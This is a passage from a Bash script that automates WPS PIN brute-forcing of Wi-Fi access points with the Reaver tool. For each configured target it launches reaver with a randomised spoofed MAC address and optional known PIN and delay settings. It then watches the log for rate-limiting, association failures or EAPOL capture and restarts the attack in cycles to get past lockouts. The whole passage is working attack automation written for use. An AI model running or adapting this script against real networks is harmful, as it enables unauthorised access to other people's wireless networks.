REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R26 == n || $USE_R26 == N ]] && [[ $USE_LONG26 == n || $USE_LONG26 == N ]] && [[ $USE_PIN26 == y || $USE_PIN26 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME26"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL26"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP26"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE26 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME26-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL26 -b $TARGETAP26 -vv -x 60  --pin=$WPS_PIN26 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME26-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE26-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R26 == y || $USE_R26 == Y ]] && [[ $USE_LONG26 == n || $USE_LONG26 == N ]] && [[ $USE_PIN26 == y || $USE_PIN26 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME26"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL26"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP26"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX26" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY26"
echo -e "$info Reaver live time                   = $yel$LIVE26 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME26-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL26 -b $TARGETAP26 -vv -x 60 -r $RX26:$RY26 --pin=$WPS_PIN26 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME26-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE26-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R26 == n || $USE_R26 == N ]] && [[ $USE_LONG26 == y || $USE_LONG26 == Y ]] && [[ $USE_PIN26 == y || $USE_PIN26 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME26"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL26"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP26"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE26 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME26-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL26 -b $TARGETAP26 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN26 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME26-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE26-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R26 == y || $USE_R26 == Y ]] && [[ $USE_LONG26 == y || $USE_LONG26 == Y ]] && [[ $USE_PIN26 == y || $USE_PIN26 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME26"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL26"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP26"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX26" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY26"
echo -e "$info Reaver live time                   = $yel$LIVE26 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME26-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL26 -b $TARGETAP26 -r $RX26:$RY26 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN26 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME26-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE26-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME26-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME26-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME26-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP26 (ESSID: $NMEWARN26)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE26 == n ] || [ $KEEP_FILE26 == N ]; then

          rm VARMAC_LOGS/$NAME26-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R27 == n || $USE_R27 == N ]] && [[ $USE_LONG27 == n || $USE_LONG27 == N ]] && [[ $USE_PIN27 == n || $USE_PIN27 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME27"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL27"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP27"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE27 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME27-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL27 -b $TARGETAP27 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME27-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE27-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

